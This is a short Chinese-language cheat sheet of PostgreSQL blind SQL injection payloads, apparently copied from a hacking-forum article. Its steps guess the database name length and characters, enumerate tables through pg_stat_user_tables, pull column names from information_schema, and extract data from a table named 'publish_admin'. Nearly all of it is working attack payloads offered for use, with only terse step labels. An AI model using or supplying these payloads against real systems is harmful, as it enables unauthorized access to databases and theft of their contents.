PostgreSql盲注相关代码

   http://www.f4ck.org/article-2360-1.html

 

先猜当前数据库的长度 and (select length(current_database())) between 0 and 30

其次ascii猜解库名的每个字符

  

and (select ascii(substr(current_database(),1,1))) between 0 and 32768

其次猜解数据库的表的个数

and (select count(*) from pg_stat_user_tables) between 20and 20  猜解库里的表名的长度 and (select length(relname) from pg_stat_user_tables limit 1 OFFSET 0) between 19 and 19  猜解表名里面的每个字符 (select ascii(substr(relname,1,1)) from pg_stat_user_tables limit 1 OFFSET 0) between 0 and 32768  //offset是位移那，注意即可 接下来猜解字段名即可，为： and+(select+ascii(substr(column_name,1,1))+from+information_schema.columns+where+table_name= publish_admin +between+0+and+256 现在数据库名、表名、字段名都有了，接下来就是取出字段中的内容了 and+(select+ascii(substr(rank,1,1))+from+publish_admin+limit+1+OFFSET+0)+between+0+and+236